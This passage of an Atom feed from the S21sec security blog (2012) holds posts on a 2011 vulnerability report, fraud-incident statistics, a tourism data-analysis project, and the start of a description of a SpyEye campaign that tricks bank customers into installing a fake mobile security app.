<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DEQGRns6fCp7ImA9WhVWE0k.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715</id><updated>2012-04-25T02:32:07.514-07:00</updated><category term="spyeye" /><category term="Network" /><category term="virtualization" /><category term="Wireless" /><category term="Policies" /><category term="threat" /><category term="PDF" /><category term="spitmo" /><category term="duqu" /><category term="mitmo" /><category term="Auditing" /><category term="new" /><category term="RAT" /><category term="Trojans" /><category term="Awareness" /><category term="Vulnerabilities" /><category term="forensics" /><category term="stuxnet" /><category term="Artificial Intelligence" /><category term="Exploit Kits" /><category term="phishing" /><category term="Malware" /><category term="Incident" /><category term="Fraud ATM ecrime" /><category term="Security management" /><category term="Data encryption" /><category term="General" /><category term="Ecrime" /><category term="spam" /><category term="mac" /><category term="Conference" /><category term="Fraud" /><category term="Control systems" /><category term="Social Network" /><category term="Privacy" /><category term="ZeuS" /><category term="Tools" /><category term="Botnet" /><category term="Security policy" /><category term="Antivirus" /><category term="carberp trojan reversing" /><category term="Events" /><category term="SCADA" /><category term="Training" /><category term="Crypto" /><title>S21sec Security Blog</title><subtitle type="html">Information security Blog: malware, phishing, pharming, network security, computer security, troyans, IT Security</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://securityblog.s21sec.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>S21SEC</name><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="8" src="http://www.s21sec.com/img/ES/logo_s21sec.gif" /></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>97</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="http://feeds.feedburner.com/S21secSecurityBlog" /><feedburner:info uri="s21secsecurityblog" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><entry gd:etag="W/&quot;CkQBRXg5eip7ImA9WhVSF08.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-8291316852513319400</id><published>2012-03-14T01:31:00.000-07:00</published><updated>2012-03-14T03:19:14.622-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-03-14T03:19:14.622-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><category scheme="http://www.blogger.com/atom/ns#" term="Malware" /><category scheme="http://www.blogger.com/atom/ns#" term="Vulnerabilities" /><title>S21sec detects almost 7,000 vulnerabilities en 2011</title><content type="html">&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;a href="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s1600/grafico_vulnerabilidad_meses_2011_en.jpg" imageanchor="1" style="clear: left; cssfloat: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;&lt;img aea="true" border="0" height="162" src="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s320/grafico_vulnerabilidad_meses_2011_en.jpg" width="320" /&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt;S21sec presents its first ‘&lt;/span&gt;&lt;a href="http://www.s21sec.com/prensa.aspx?sec=4&amp;amp;ntc=503#503"&gt;&lt;span style="font-family: inherit;"&gt;Vulnerability Report’&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: inherit;"&gt; prepared by the Ecrime team integrating the experts of the company in charge of detecting and resolving Internet offences affecting organisations 24 hours a day, 365 days a year. This report gathers the information on vulnerabilities detected by S21sec during this last decade, from 2001 to December 2011, and it intends to build an image of the main threats currently affecting companies and institutions, as well as users.&lt;/span&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;span style="font-family: inherit;"&gt;This ‘Vulnerability Report’ includes all the vulnerabilities detected during the last year. 2011 has been a year marked by the appearance of a large number of high-risk vulnerabilities and&amp;nbsp;&lt;span lang="EN-GB" style="mso-ansi-language: EN-GB;"&gt;the number of vulnerabilities remained relatively constant between months, except for March. The third month of the year registered a high number of vulnerabilities on Apple software which affected a large number of their products, such as iTunes, Safari, Apple IIOS, Mac OSX and iPhones IOS, among others.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="separator" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; clear: both; text-align: center;"&gt;
&lt;span style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; font-family: inherit; margin-left: 1em; margin-right: 1em;"&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;span lang="EN-GB" style="font-size: 10pt; mso-ansi-language: EN-GB;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;We have detected an increase of vulnerabilities during 2011, with growing remote exploitation of vulnerabilities and a sophistication of industry-oriented Trojans such as the case of Stuxnet or Duqu. However, a changing tendency can be observed in browsers where a change can be seen in the exploitation of vulnerabilities from Firefox to Chrome as the latter is reaching the highest market share.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;a href="http://2.bp.blogspot.com/-0z08ZEGBBvc/T2BWLt9EA9I/AAAAAAAAAbs/WTnAgoGOcL8/s1600/grafico_vulnerabilidad_navegador_2011_en.jpg" imageanchor="1" style="clear: right; cssfloat: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img aea="true" border="0" height="235" src="http://2.bp.blogspot.com/-0z08ZEGBBvc/T2BWLt9EA9I/AAAAAAAAAbs/WTnAgoGOcL8/s320/grafico_vulnerabilidad_navegador_2011_en.jpg" width="320" /&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;During this year&amp;nbsp;we will still see increasing vulnerabilities to mobile devices with operating systems such as Android or iPhone OS. There are currently 5,600 million mobiles in use (around 77% of the world population has one), amongst which 468 million are Smartphones and this number is estimated to reach 631 million by 2015, thus, logically, the risk of vulnerabilities will also increase to more users and more devices. &lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;span style="font-family: inherit;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: inherit;"&gt;&lt;span lang="EN-GB" style="color: #1c1c1c; font-size: 10pt; mso-ansi-language: EN-GB; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;This &lt;b style="mso-bidi-font-weight: normal;"&gt;‘Vulnerability Report’&lt;/b&gt;, prepared by the &lt;b style="mso-bidi-font-weight: normal;"&gt;S21sec&lt;/b&gt; &lt;b style="mso-bidi-font-weight: normal;"&gt;Ecrime unit&lt;/b&gt;, can be downloaded &lt;a href="http://www.s21sec.com/descargas/Informe%20Vulnerabilidades%202011.pdf"&gt;here.&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: inherit;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="color: #1c1c1c; font-size: 11pt; mso-ansi-language: ES; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-font-size: 12.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="font-family: inherit;"&gt;&amp;nbsp; &lt;/span&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class="MsoListParagraph" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; line-height: normal; margin: 0cm 0cm 0pt; text-align: justify;"&gt;
&lt;span style="color: #1c1c1c; font-size: 11pt; mso-ansi-language: ES; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-font-size: 12.0pt; mso-bidi-language: AR-SA; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES;"&gt;&lt;em&gt;&lt;span style="font-family: inherit; font-size: small;"&gt;S21sec&lt;/span&gt;&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-8291316852513319400?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/Nt2b8B4rUx4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/8291316852513319400/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=8291316852513319400" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8291316852513319400?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/8291316852513319400?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/Nt2b8B4rUx4/s21sec-detects-almost-7000.html" title="S21sec detects almost 7,000 vulnerabilities en 2011" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-w713vCz99vo/T19ikwSSVII/AAAAAAAAAbc/gFhsAe6Njlo/s72-c/grafico_vulnerabilidad_meses_2011_en.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/03/s21sec-detects-almost-7000.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMERn04eCp7ImA9WhRUGUk.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-410040833498717382</id><published>2012-01-30T08:14:00.000-08:00</published><updated>2012-01-30T08:20:07.330-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-30T08:20:07.330-08:00</app:edited><title>A YEAR OF FRAUD (PART I)</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-GB"&gt;The New Year is the ideal time to present a summary of all that we have seen during 2011.  The data that we will present here is related to fraud incidents closed by S21sec's SOC/CERT.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align:justify"&gt;&lt;span lang="EN-GB"&gt;We have acted on 4759 fraud incidents that directly affected our clients, slightly fewer than the number recorded the previous year. The distribution of these incidents can be seen in the following graph.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src="http://1.bp.blogspot.com/-xY_4Wu-47jQ/TybCmKCEPYI/AAAAAAAAA6Q/YSaJk202CEw/s400/2010vs2011_en.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5703459938895150466" style="text-align: justify;color: rgb(0, 0, 238); text-decoration: underline; display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 191px; " /&gt;&lt;div&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="text-align: left; "&gt;Once again, the number of phishing related incidents exceeds those related to malicious code. This is mainly due to our clients in Latin America who suffered fewer malicious code incidents.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;The following stack chart shows the monthly distribution of all incidents.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;&lt;img src="http://3.bp.blogspot.com/-rMDzliwUfKw/TybCw48P4sI/AAAAAAAAA6c/sxkxX0UckuI/s400/evolucion_2011_en.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5703460123285906114" style="text-align: justify;display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 177px; " /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="text-align: justify;"&gt;Two peaks in the quantity of recorded incidents can clearly be seen. This phenomenon is repeated year after year and usually occurs around holiday periods, when the users are generally more relaxed and less security conscious.&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Personally, I feel 2011 has been deceptive, constantly promising major news but failing to deliver. 2010, in contrast, was a remarkable year. It brought with it both new attack methods (MitB, MitMo) and new malicious code families (Tatanga, SpyEye, etc.).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;What happened in 2011?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Now that we can review 2011 in its entirety, we could consider it as a transitional year. During 2011 we have seen that the cyber-criminals improved their fraud related methods and tools, but did not introduce any notable innovations.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Could this stagnation be related to the global economic crisis?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;It is hard to relate the changes in the fraud typology with economic reality, but there is no doubt that certain aspects have influenced the past few months.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;Social engineering attacks, usually made by individuals (not organised), have increased considerably. The costs of preparing this kind of attack are low, which has led to many new individuals (drawn by the chance of rapid returns for minimal investment) entering the scene. This fact is particularly relevant in Latin America, the only place in the world where we have seen an increase in incidents on previous years.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;On the other hand, we have the much more complex and expensive malicious code attacks. These are usually made by very well organised mafias with abundant resources. In 2011 we expected SpyEye to takeoff as ZeuS (its main rival) abandoned their development at the end of 2010 and published the source code. However, this did not occur probably because of Spyeye’s elevated price. Furthermore, we have seen how some "gangs" have instead taken advantage of the published ZeuS code to develop new families of malware without having to take on the associated costs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;&lt;i&gt;David Ávila&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span lang="EN-GB"&gt;&lt;i&gt;S21sec ecrime&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-410040833498717382?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/4KRKv8vl2bw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/410040833498717382/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=410040833498717382" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/410040833498717382?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/410040833498717382?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/4KRKv8vl2bw/year-of-fraud-part-i.html" title="A YEAR OF FRAUD (PART I)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-xY_4Wu-47jQ/TybCmKCEPYI/AAAAAAAAA6Q/YSaJk202CEw/s72-c/2010vs2011_en.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/year-of-fraud-part-i.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcHRHc4eCp7ImA9WhRUFU0.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3159742431837766528</id><published>2012-01-25T06:50:00.000-08:00</published><updated>2012-01-25T06:50:35.930-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-25T06:50:35.930-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tools" /><title>Tourist Periscope will manage tourist information on the We</title><content type="html">&lt;div class="separator" style="border-bottom: medium none; border-left: medium none; border-right: medium none; border-top: medium none; clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s1600/logotipo_Tourist-Periscope.jpg" imageanchor="1" style="clear: right; cssfloat: right; float: right; height: 80px; margin-bottom: 1em; margin-left: 1em; width: 185px;"&gt;&lt;img border="0" gda="true" height="85" src="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s200/logotipo_Tourist-Periscope.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
S21sec labs is leading the project Tourist Periscope with the aim of developing the technological solution that will help the tourist sector to detect the different market opportunities and to reduce the strategic decision taking risk by predicting tourist trends.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;The Internet is a source of innumerable amounts of information, which often represents a threat for a company as it cannot manage this volume of information or it could mean a business opportunity hard to detect among so much data circulating through the Net. &lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The exponential increase of information in the tourist sector is translated into serious difficulties for tourist companies, institutions and administrations when managing, identifying and optimising the search for contents of interest for their business. &lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
For this reason, S21sec and thanks to its experience in the development of open-source information classification, indexing and information search technologies, will create the application Tourist Periscope in its R&amp;amp;D centre in security S21sec labs and in cooperation with agents specialised in the tourist sector, from both the academic and corporate environments. This R&amp;amp;D project is framed within the INNPACTO projects of the Ministry of Economy and Competitiveness. The new IT platform will be oriented at the tourist sector and will be able to carry out an efficient information management and rationalisation according to the profile of the client and the purpose that is to be achieved. This new tool is able to carry out analysis of the tourist environment in a customised way and integrated with social networks, generating a Tourist Intelligence unit.&lt;/div&gt;
&lt;div style="text-align: justify;"&gt;
The purpose of Tourist Periscope is to provide companies in the tourist sector with a new user-friendly technological solution to detect the different market opportunities and to reduce the strategic decision taking risk by being ahead of tourist behaviour. &lt;/div&gt;
&lt;br /&gt;
&lt;em&gt;S21sec Marketing Department&lt;/em&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-3159742431837766528?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/lP5xwlvslF4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3159742431837766528/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3159742431837766528" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3159742431837766528?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3159742431837766528?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/lP5xwlvslF4/tourist-periscope-will-manage-tourist.html" title="Tourist Periscope will manage tourist information on the We" /><author><name>S21sec</name><uri>http://www.blogger.com/profile/12912354041276652911</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-an-LtlRkisw/TyAVhNBLOWI/AAAAAAAAAa8/gBetQJdZZ-M/s72-c/logotipo_Tourist-Periscope.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2012/01/tourist-periscope-will-manage-tourist.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEMCQXo6eCp7ImA9WhRVFEg.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-989383422764738387</id><published>2012-01-13T03:42:00.000-08:00</published><updated>2012-01-13T04:07:40.410-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2012-01-13T04:07:40.410-08:00</app:edited><title>New SpyEye Campaign with mobile complement</title><content type="html">&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: justify; "&gt;More&lt;/span&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html" style="text-align: justify; "&gt; than a year ago&lt;/a&gt;&lt;span style="text-align: justify; "&gt; we saw for the first time how ZeuS had incorporated a mobile component in an attempt to steal the SMS sent by the banks while making a transfer. Later, SpyEye &lt;/span&gt;&lt;span style="text-align: justify; "&gt;incorporated the same technique.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="text-align: justify; "&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Recently, we have seen a new campaign affecting Spanish banks, which urges the user to install a component if their phone is Android. While the first samples came from Symbian and BlackBerry, later versions incorporated Android among its objectives. The widespread use of this platform, along with the ease of developing applications for it, makes it one of the favourite objectives of malware creators.&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Infection of a mobile device is not a trivial task, so the user must be tricked, through social engineering, into infecting themselves. For this reason, it is important to understand the risks, as a user who is unaware of the threat that their mobile can be infected, is completely vulnerable to this attack.&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;In the case in hand, upon visiting the banking entity’s website, an infected computer will try to convince the user to install an application on the mobile phone, making them believe that they are installing a program to secure communications.&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src="http://2.bp.blogspot.com/-KqMmbQZ5k5M/TwXmMJUG2OI/AAAAAAAAA30/KzyrCsvY6mM/s400/Captura1.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 209px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span &gt;Image 1: The user is asked for their phone operating system and phone number (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Then comes the verification of the installation, asking for a activation code that the mobile displays once the application is installed.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://2.bp.blogspot.com/-Ocs7KLcRgO4/TwXmUSMFFAI/AAAAAAAAA4A/8jOmnWVag30/s400/Captura2.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 153px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 2: The user confirms an activation code received on their mobile (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Finally, a successful installation message is displayed to the user.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;img src="http://4.bp.blogspot.com/-6q-T-PIn8Zs/TwXmUzsFK8I/AAAAAAAAA4U/MR5dunaB9Bc/s400/Captura4.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 29px; " /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;font-size:x-small;"&gt;&lt;i&gt;&lt;span&gt;Image 3: Application installed successfully – you are now protected (Spanish)&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;If the mobile is an Android phone, SpyEye simply informs the user that they do not require any further security.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center; "&gt;&lt;img src="http://4.bp.blogspot.com/-w-yqlQfcE5o/TwXmUj7-ciI/AAAAAAAAA4M/nVlNdn7DW6Q/s400/Captura3.PNG" border="0" alt="" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; cursor: pointer; width: 400px; height: 41px; " /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: 